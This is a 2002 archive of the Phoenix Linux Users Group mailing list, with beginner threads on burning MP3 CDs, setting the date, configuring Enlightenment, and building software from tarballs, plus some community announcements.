13 Jun 2002 10:44:52 -0700 (PDT) > > From: Alpha Zenon Sanchez > > Subject: install fest suggestion > > To: plug-discuss@lists.plug.phoenix.az.us > > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > > > Hello Linux Users - > > > > I was wondering if anyone cared to give demonstrations > > on the proper way of compiling a Linux Kernel during > > the installfest (I'm looking forward to it btw). I'm > > starting get a 'feel' for Linux, and I've read > > HOW_TO's > > and various articles on compiling, but they're all > > different. I've downloaded articles from ZDNET and > > techrepublic as well. These articles say different > > things which would confuse a Linux beginner. > > > > My thinking is that some people that will show up at > > the intallfest are Linux 'newbies' and would jump at > > a chance to watch Linux users who have been doing this > > a while demonstrate some Linux skills. > > > > Besides Kernal compiling and basic bash commands, what > > else should a Linux user know? > > > > Thanks in advance > > > > -Alpha > > > > ===== > > Thanks, > > Alpha Zenon Sanchez > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! - Official partner of 2002 FIFA World Cup > > http://fifaworldcup.yahoo.com > > > > - ----------------------------------------------------------- > Robert A. Klahn > robert@kint.org > AIM: rklahn > > "Hope has two beautiful daughters: Anger and Courage. Anger > at the way things are, and Courage to struggle to create > things as they should be." -- St. Augustine > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -----BEGIN PGP SIGNATURE----- > Version: PGPfreeware 6.5.8 for non-commercial use > > iQA/AwUBPQkKggGGayDd50X1EQJG8wCg0DFZzz7UCJ/vZ1coqLl0wLzj9MYAnjpe > 5Vpx6BbsuwpAkB260jqD2rtE > =1uRs > -----END PGP SIGNATURE----- > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "What can Americans do to stay safe after these attacks?" "Buckle your seat-belt and quit smoking." ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 15:27:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: 14 Jun 2002 08:27:19 -0700 Subject: mp3 Message-ID: <1024068440.29657.68.camel@hawk> Okay what are you guys (and gals) using to burn mp3 discs? X-CD-Roast seems to only want to burn .wav formats (I may be missing a setting). And cdrecord is giving me an error. I want to start playing with my DVD / mp3 player. Only I don't have any disc actually burned with mp3s. So any help here? Carl P. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 15:24:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: 14 Jun 2002 08:24:59 -0700 Subject: Date??? Message-ID: <1024068299.29445.63.camel@hawk> Okay how does one change the time on your system from the command line? I've been using rdate for this only now I can't so I thought I'd just use date and I can't get it to work. Should I be using something else? Carl P. (P.S is my charter set coming though alright on this one?). From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 15:44:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 14 Jun 2002 08:44:20 -0700 Subject: Date??? In-Reply-To: <1024068299.29445.63.camel@hawk> Message-ID: <200206141545.LAA31570@hostinworld6.com> Date does have the -s option for setting the time but I've never used it. Check the man page. Date, in DOS, would set the date and time for you automatically. Also, I never had any problems with your character set. I'm using Evolution 0.9. -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 14 Jun 2002 08:24:59 -0700, Carl Parrish wrote: > Okay how does one change the time on your system from the command line? > I've been using rdate for this only now I can't so I thought I'd just > use date and I can't get it to work. Should I be using something else? > > Carl P. > (P.S is my charter set coming though alright on this one?). > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 14:46:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Fri, 14 Jun 2002 10:46:09 -0400 (EDT) Subject: mp3 In-Reply-To: Message-ID: Correction: [mp3]$ cd preburn [preburn]$ mkisofs -l `find * -follow -name \*mp3` | cdrecord -v dev=0,0,0 speed=32 - This makes the top level dir of the CD the artists or albums you have symlinked. On Fri, 14 Jun 2002, Robert Bushman wrote: > [mp3]$ mkisofs -l `find preburn/* -follow -name \*mp3` | cdrecord -v > dev=0,0,0 speed=32 - > > (all on one command line) > > Preburn is a director full of symlinks to > the albums I want on this CD. "-follow" > makes find follow those links. > > On 14 Jun 2002, Carl Parrish wrote: > > > Okay what are you guys (and gals) using to burn mp3 discs? X-CD-Roast > > seems to only want to burn .wav formats (I may be missing a setting). > > And cdrecord is giving me an error. I want to start playing with my DVD > > / mp3 player. Only I don't have any disc actually burned with mp3s. So > > any help here? > > > > Carl P. > > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ------------------------------------------------------------------- > "What can Americans do to stay safe after these attacks?" > "Buckle your seat-belt and quit smoking." > ------------------------------------------------------------------- > > ------------------------------------------------------------------- "What can Americans do to stay safe after these attacks?" "Buckle your seat-belt and quit smoking." ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 14:44:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Fri, 14 Jun 2002 10:44:05 -0400 (EDT) Subject: mp3 In-Reply-To: <1024068440.29657.68.camel@hawk> Message-ID: [mp3]$ mkisofs -l `find preburn/* -follow -name \*mp3` | cdrecord -v dev=0,0,0 speed=32 - (all on one command line) Preburn is a director full of symlinks to the albums I want on this CD. "-follow" makes find follow those links. On 14 Jun 2002, Carl Parrish wrote: > Okay what are you guys (and gals) using to burn mp3 discs? X-CD-Roast > seems to only want to burn .wav formats (I may be missing a setting). > And cdrecord is giving me an error. I want to start playing with my DVD > / mp3 player. Only I don't have any disc actually burned with mp3s. So > any help here? > > Carl P. > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "What can Americans do to stay safe after these attacks?" "Buckle your seat-belt and quit smoking." ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 15:51:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Julian Catchen) Date: Fri, 14 Jun 2002 11:51:04 -0400 Subject: mp3 Message-ID: <200206141551.LAA22238@rizzo.webservepro.com> If you use Gnome, than Gnome Toaster (gtoaster) is a great app that burns data and music CDs. It is basically a frontend for burning with cdrecord, cdrdao, etc. It allows you to drag and drop the contents of your CD before burning and to create mixed CDs (music and data). -----Original Message----- Date: 14 Jun 2002 08:27:19 -0700 To: Plug-discuss From: Carl Parrish Sender: plug-discuss-admin@lists.plug.phoenix.az.us Subject: mp3 Cc: Okay what are you guys (and gals) using to burn mp3 discs? X-CD-Roast seems to only want to burn .wav formats (I may be missing a setting). And cdrecord is giving me an error. I want to start playing with my DVD / mp3 player. Only I don't have any disc actually burned with mp3s. So any help here? Carl P. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 15:45:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 14 Jun 2002 08:45:28 -0700 Subject: mp3 In-Reply-To: <1024068440.29657.68.camel@hawk> Message-ID: <200206141546.LAA00502@hostinworld6.com> An MP3CD is (as it took me two years to figure out) a data cd w/mp3 files on it (as data, not audio) and a m3u playlist with those files in it. Good luck. -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 14 Jun 2002 08:27:19 -0700, Carl Parrish wrote: > Okay what are you guys (and gals) using to burn mp3 discs? X-CD-Roast > seems to only want to burn .wav formats (I may be missing a setting). > And cdrecord is giving me an error. I want to start playing with my DVD > / mp3 player. Only I don't have any disc actually burned with mp3s. So > any help here? > > Carl P. > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 15:49:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 14 Jun 2002 08:49:30 -0700 Subject: Enlightenment Message-ID: <200206141549.LAA00706@hostinworld6.com> Alright, I'm sort of a newbie at X Windows stuff but I know Enlightenment is a window manager, just as KDE etc, but how do do I get icons on my desktop. It's getting tiring having to go through 3 levels of menu by middle mouse button. Anyone? -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 16:02:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Fri, 14 Jun 2002 09:02:26 -0700 Subject: Date??? Message-ID: <2AAC72149C827944B96C854ABD0BCAFF16B740@azmscorp01.corp.azms> date 06140859 and date --help may help with the syntax. date mmddhhmm Larry -----Original Message----- From: Bryce "C. [mailto:plug@bryceco.net] Sent: Friday, June 14, 2002 8:44 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Date??? Date does have the -s option for setting the time but I've never used it. Check the man page. Date, in DOS, would set the date and time for you automatically. Also, I never had any problems with your character set. I'm using Evolution 0.9. -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 14 Jun 2002 08:24:59 -0700, Carl Parrish wrote: > Okay how does one change the time on your system from the command line? > I've been using rdate for this only now I can't so I thought I'd just > use date and I can't get it to work. Should I be using something else? > > Carl P. > (P.S is my charter set coming though alright on this one?). > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 16:17:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeffrey Pyne) Date: Fri, 14 Jun 2002 09:17:13 -0700 Subject: Date??? Message-ID: Ahhhhh, much better. :) (I was seeing the same thing as Tom A. when reading your messages with LookOut 2000.) ~Jeff On Friday, June 14, 2002 8:25 AM, Carl Parrish sent: > (P.S is my charter set coming though alright on this one?). From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 16:30:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 14 Jun 2002 09:30:24 -0700 Subject: Enlightenment In-Reply-To: <200206141549.LAA00706@hostinworld6.com> References: <200206141549.LAA00706@hostinworld6.com> Message-ID: <200206140930.24844.zen2now@qwest.net> i have never run enlightenment with desktop icons because i perfer a clean desktop when in X, so i couldnt tell you how to add them. but if you are running a gnome panel in enlightenment you can add shortcuts to the panel for most used apps. or you can add them to the User Application List within the root menu. to do this open up: vi ~username/.enlightenment/user_apps.menu any app you use most often can be added, and the syntax is pretty self explanitory. also you can use any editor, vi was just an example. hope this helps. slr On Friday 14 June 2002 08:49 am, Bryce C. wrote: > Alright, I'm sort of a newbie at X Windows stuff but I know > Enlightenment is a window manager, just as KDE etc, but how do do I get > icons on my desktop. It's getting tiring having to go through 3 levels > of menu by middle mouse button. Anyone? From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 16:38:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 14 Jun 2002 09:38:33 -0700 Subject: Date??? Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4AE@mail.int.fh.org> Came through great for me this time!!! -----Original Message----- From: Carl Parrish [mailto:cparrish@cox.net] Sent: Friday, June 14, 2002 8:25 AM To: Plug-discuss Subject: Date??? Okay how does one change the time on your system from the command line? I've been using rdate for this only now I can't so I thought I'd just use date and I can't get it to work. Should I be using something else? Carl P. (P.S is my charter set coming though alright on this one?). ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 17:13:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 14 Jun 2002 10:13:57 -0700 (PDT) Subject: gzipped tar files and building from source In-Reply-To: <3D097779.3000809@earthlink.net> Message-ID: Ben Chaco approached me last night at the PLUG meeting with a question about installing a program from source code. I figured that there are other people on this list that may benefit from this explanation as well, so here's a very basic intro: somefile.tar <-- this is a "tar" file which is basically just a bunch of files packed into one. somefile.tar.gz <-- this is a "gzipped" tar file which is a tar file that has been compressed using the gzip program (tar also has the ability to compress and uncompress files). So usually when you get a file like this, it's source code, which means you'll have to compile the program yourself before you can use it. Compiling programs usually "just works" on Linux, but last night we ran into a problem with a missing library, so the program didn't compile comletely. OK, so here are the most common tar commands for dealing with the above file types: tar zxf somefile.tar.gz <-- the "z" option tells tar to uncompress it since we're also using it with the "x" option which tells it to extract the contents of the tar file, and then should create a directory containing all of the files that were originally packed together. If you want to see a display of the files as they're untarred, you can add the "v" option. The "f" option must be the last option because the name following the "f" specifies the file name to use. If the file is just called somefile.tar, then it's most likely not gzipped so you can leave off the "z" option. Now, let's say you want to create your own tarred and gzipped file to send to someone or for backup purposes. Just substitute a "c" (for compress) in place of the "x" (for extract), like this: tar zcf mystuff.tar.gz mystuff <-- you specify the name of the archive as "mystuff.tar.gz" then you tell it which directory to use. In this case, we're using "mystuff". There are many other options to tar and ways of using it, but these will help you get started. Alright, so now that you've unpacked your source code, you're ready to configure and build your program. In most cases, you can simply type the following commands: ./configure <-- runs a configure script that prepares for the build make <-- compiles the program make install <-- This step copies the newly compiled binaries to a default location on your system (assuming you didn't specify a different install directory with the configure script) At this point if everything compiled successfully, then you should be able to type the name of the program to run it. Alternatively, you may want to browse to the location of the program and drag the icon to your desktop or toolbar for future use (this, of course, depends on the Windowing environment you use). What I usually do is create a directory called "local" in my home directory, then I tell the configure script to install there instead of the default (usually /usr/local/). Here's how you'd do that: ./configure --prefix=$HOME/local So now when you run make install, you don't have to be root. The entire program is installed under the local directory in your home directory. Also, be sure that $HOME/local/bin (and possibly $HOME/local/sbin) is in your PATH. ~M From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 17:23:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 14 Jun 2002 10:23:31 -0700 (PDT) Subject: Date??? In-Reply-To: <1024068299.29445.63.camel@hawk> Message-ID: Here's an example of setting your date/time: Today's date is 06/14 and it's 10:20AM, so I'd type: date 06141020 Use the 2 digit day, followed by the 2 digit month, followed by the 2 digit hour followed by the 2 digit minute. ~M On 14 Jun 2002, Carl Parrish wrote: > Okay how does one change the time on your system from the command line? > I've been using rdate for this only now I can't so I thought I'd just > use date and I can't get it to work. Should I be using something else? > > Carl P. > (P.S is my charter set coming though alright on this one?). > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 17:24:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 14 Jun 2002 10:24:52 -0700 (PDT) Subject: Date??? In-Reply-To: Message-ID: Oops. My explanation for the day and month was backwards. It's the 2 digit month first, then the 2 digit day. On Fri, 14 Jun 2002, Matt Alexander wrote: > Here's an example of setting your date/time: > > Today's date is 06/14 and it's 10:20AM, so I'd type: > > date 06141020 > > Use the 2 digit day, followed by the 2 digit month, followed by the 2 > digit hour followed by the 2 digit minute. > ~M > > > On 14 Jun 2002, Carl Parrish wrote: > > > Okay how does one change the time on your system from the command line? > > I've been using rdate for this only now I can't so I thought I'd just > > use date and I can't get it to work. Should I be using something else? > > > > Carl P. > > (P.S is my charter set coming though alright on this one?). > > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 17:29:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 14 Jun 2002 10:29:47 -0700 (PDT) Subject: Enlightenment In-Reply-To: <200206141549.LAA00706@hostinworld6.com> Message-ID: Google is your friend. Here's a site that has an explanation: http://www.venus.dti.ne.jp/~khosoda/Enlightenment.html On 14 Jun 2002, Bryce C. wrote: > Alright, I'm sort of a newbie at X Windows stuff but I know > Enlightenment is a window manager, just as KDE etc, but how do do I get > icons on my desktop. It's getting tiring having to go through 3 levels > of menu by middle mouse button. Anyone? > > > -- > Bryce C. > Network Administrator > CoBryce Communications > Bryce @ BryceCo . Net > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 18:05:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dan Lund) Date: Fri, 14 Jun 2002 11:05:30 -0700 Subject: Building seyon. Where xmkmf? In-Reply-To: <200206131634.36948.voltage_spike@fastmail.fm> References: <3D092969.E0D26CCC@asu.edu> <200206131634.36948.voltage_spike@fastmail.fm> Message-ID: <200206141105.30110.arkane_@yahoo.com> On Thursday 13 June 2002 04:34 pm, Logan Kennelly wrote: > To add a little information, it is part of the XFree86-devel package. (New > user hint (for rpm-based systems): 'rpm -qf /usr/X11R6/bin/xmkmf') > > > Also, I sould just stick with minicom. Seyon isn't that great. Well, > > its always annoyed me. > > I would have to agree with this. I found minicom to be quite excellent, > while seyon was only good. However, note that with minicom you might have > to configure both minicom and/or your terminal for things like backspaces, > while seyon is on its own. The thing I love about minicom is the fact that it is straight text access, no frills. If anything wierd happens on the cable or whatever your connected to, you see it :) Versus having things emulated into an X environment. My 2 cents. -- Dan From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 18:44:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Fri, 14 Jun 2002 11:44:21 -0700 Subject: Names of last nights presenters? Message-ID: <3D0A3985.48AE4F3@qwest.net> Does anyone have the names of the two guys from Intel that gave the presentation last night? From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 19:02:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 14 Jun 2002 12:02:35 -0700 Subject: Let the facts speak for themselves Message-ID: <1024081355.3d0a3dcbf31cf@webmail.freedom2surf.net> May 31, 2002 A Microsoft funded white paper titled "Opening the Open Source Debate" published by AdTI makes this statement: "Another security concern is that the primary distribution channel for GPL open source is the Internet. As opposed to proprietary vendors, open source is freely downloaded. However, software in the public domain could contain a critical problem, a backdoor or worse, a dangerous virus." June 14, 2002 News.com breaks the story that Microsoft distributed Nimda-infected CDs of Visual Studio .Net in Korea. And M$ wonders why no one takes "Trustworthy Computing" seriously. Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 19:13:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Blake Barnett) Date: 14 Jun 2002 12:13:24 -0700 Subject: Enlightenment In-Reply-To: <200206141549.LAA00706@hostinworld6.com> References: <200206141549.LAA00706@hostinworld6.com> Message-ID: <1024082005.23169.21.camel@shiva.soulmachine.com> Enlightenment should not be compared to KDE or Gnome yet, a more apt comparison is to that of sawfish, or windowmaker. Enlightenment is a WINDOWmanager as of 0.16.5, this means that all it does is manage windows, for example, it puts the handles the title-bar for windows, iconboxes, pagers, etc. It does not manage the desktop (it has no integrated file manager). As of 0.17 (a complete rewrite by the way..) it will include a file manager called "Essence" it will basically be a complete desktop management solution. Just as KDE and Gnome currently are. If you want icons on your desktop you have to go through the config files manually and add a custom graphic and associate actions with that graphic, etc. If you are set on using enlightenment before 0.17 is released then I would use it within Gnome (put gnome-session in your .xinitrc) and also use something like Nautilus for file management to have icons on your desktop, easy launchers, etc. Here is a screenshot of my desktop, I do this currently (minus nautilus as the current stable release is kind of a CPU hog): http://soulmachine.com/desktop-ss.jpg On Fri, 2002-06-14 at 08:49, Bryce C. wrote: > Alright, I'm sort of a newbie at X Windows stuff but I know > Enlightenment is a window manager, just as KDE etc, but how do do I get > icons on my desktop. It's getting tiring having to go through 3 levels > of menu by middle mouse button. Anyone? > > > -- > Bryce C. > Network Administrator > CoBryce Communications > Bryce @ BryceCo . Net > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Blake Barnett (bdb) Sr. Unix Administrator DevelopOnline.com office: 480-377-6816 Learning is a skill, you get better at it with practice. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 19:18:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 14 Jun 2002 12:18:07 -0700 Subject: Let the facts speak for themselves Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4BA@mail.int.fh.org> And of course, that is the group that I sent the message out a few days ago that MS is funding so naturally the are completely unbiased... -----Original Message----- From: dennisk@sahuaro.f2s.com [mailto:dennisk@sahuaro.f2s.com] Sent: Friday, June 14, 2002 12:03 PM To: PLUG Mailing List Subject: Let the facts speak for themselves May 31, 2002 A Microsoft funded white paper titled "Opening the Open Source Debate" published by AdTI makes this statement: "Another security concern is that the primary distribution channel for GPL open source is the Internet. As opposed to proprietary vendors, open source is freely downloaded. However, software in the public domain could contain a critical problem, a backdoor or worse, a dangerous virus." June 14, 2002 News.com breaks the story that Microsoft distributed Nimda-infected CDs of Visual Studio .Net in Korea. And M$ wonders why no one takes "Trustworthy Computing" seriously. Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 19:47:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Fri, 14 Jun 2002 12:47:20 -0700 Subject: FYI - Fwd: Conference Savings at LinuxWorld Conference & Expo Message-ID: <0206141247201T.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - ---------- Forwarded Message ---------- Subject: Conference Savings at LinuxWorld Conference & Expo Date: Fri, 14 Jun 2002 15:20:38 -0400 From: Kristin_Gallo@idg.com To: Kristin_Gallo@idg.com Dear Linux User Group Member, As a Linux User Group Member, we recognize your loyalty, commitment and dedication to the Linux community and LinuxWorld Conference & Expo. We're excited to inform you that your members qualify to receive a 15% discount off our Conference program and a special Exhibit Pass savings (50% off). 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Linux Certification Program Sponsor: Linux Professional Institute (LPI) Cornerstone Sponsor: HP Platinum Sponsors: AMD, IBM, Intel and Sun Microsystems Gold Sponsor: Freshwater Software Silver Sponsor: Globetrotter Software Media Sponsors: CRN, Dr. Dobb's Journal, Google, InfoWorld, IT Professional, Linux Magazine, Linux Journal, LinuxWorld.com, Networkworld, OSDN, Sys Admin, Var Business, WebSphere - ------------------------------------------------------- - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQpISCsk3ywszI1FEQK3cACglVKizDaMep025+0esBpSZyameUwAoJAS ghWsaZsex0llrRCFsssddyQ5 =G3W0 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 19:48:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Fri, 14 Jun 2002 12:48:47 -0700 Subject: Names of last nights presenters? In-Reply-To: <3D0A3985.48AE4F3@qwest.net> References: <3D0A3985.48AE4F3@qwest.net> Message-ID: <0206141248471U.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I bet you want more than Taj and Mike, right? On Friday 14 June 2002 11:44, you wrote: > Does anyone have the names of the two guys from Intel that gave the > presentation last night? > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQpInysk3ywszI1FEQJwIwCfSZjbUXR74roHpUtv5ULcof00drUAoIi0 12Jvk8zaGYkxi3jPyogRzvq5 =KShE -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 19:56:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Fri, 14 Jun 2002 15:56:58 -0400 Subject: Date??? Message-ID: <20020614195700.MZTB1131.lakemtao07.cox.net@smtp.central.cox.net> Thanks that worked. I was trying with the -s switch (still don't understand that). btw I'm trying this with Cox's webmail tool again so the charter set may be screwed up again. I've posted their support but still haven't heard back on it. Carl P. ============================================================ From: Matt Alexander Date: 2002/06/14 Fri PM 01:23:31 EDT To: Plug-discuss Subject: Re: Date??? Here's an example of setting your date/time: Today's date is 06/14 and it's 10:20AM, so I'd type: date 06141020 Use the 2 digit day, followed by the 2 digit month, followed by the 2 digit hour followed by the 2 digit minute. ~M On 14 Jun 2002, Carl Parrish wrote: > Okay how does one change the time on your system from the command line? > I've been using rdate for this only now I can't so I thought I'd just > use date and I can't get it to work. Should I be using something else? > > Carl P. > (P.S is my charter set coming though alright on this one?). > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ============================================================ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 20:03:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Fri, 14 Jun 2002 13:03:16 -0700 Subject: Names of last nights presenters? References: <3D0A3985.48AE4F3@qwest.net> <0206141248471U.08309@nova.wedge.org> Message-ID: <3D0A4C04.C2C376AA@qwest.net> Yep. Last names would be very useful. Especially given how many Mikes work for intel (don't know about the number of Taj's). Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I bet you want more than Taj and Mike, right? > > On Friday 14 June 2002 11:44, you wrote: > > Does anyone have the names of the two guys from Intel that gave the > > presentation last night? > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPQpInysk3ywszI1FEQJwIwCfSZjbUXR74roHpUtv5ULcof00drUAoIi0 > 12Jvk8zaGYkxi3jPyogRzvq5 > =KShE > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 20:15:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 14 Jun 2002 13:15:45 -0700 Subject: Date??? Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4BC@mail.int.fh.org> Oops, it's 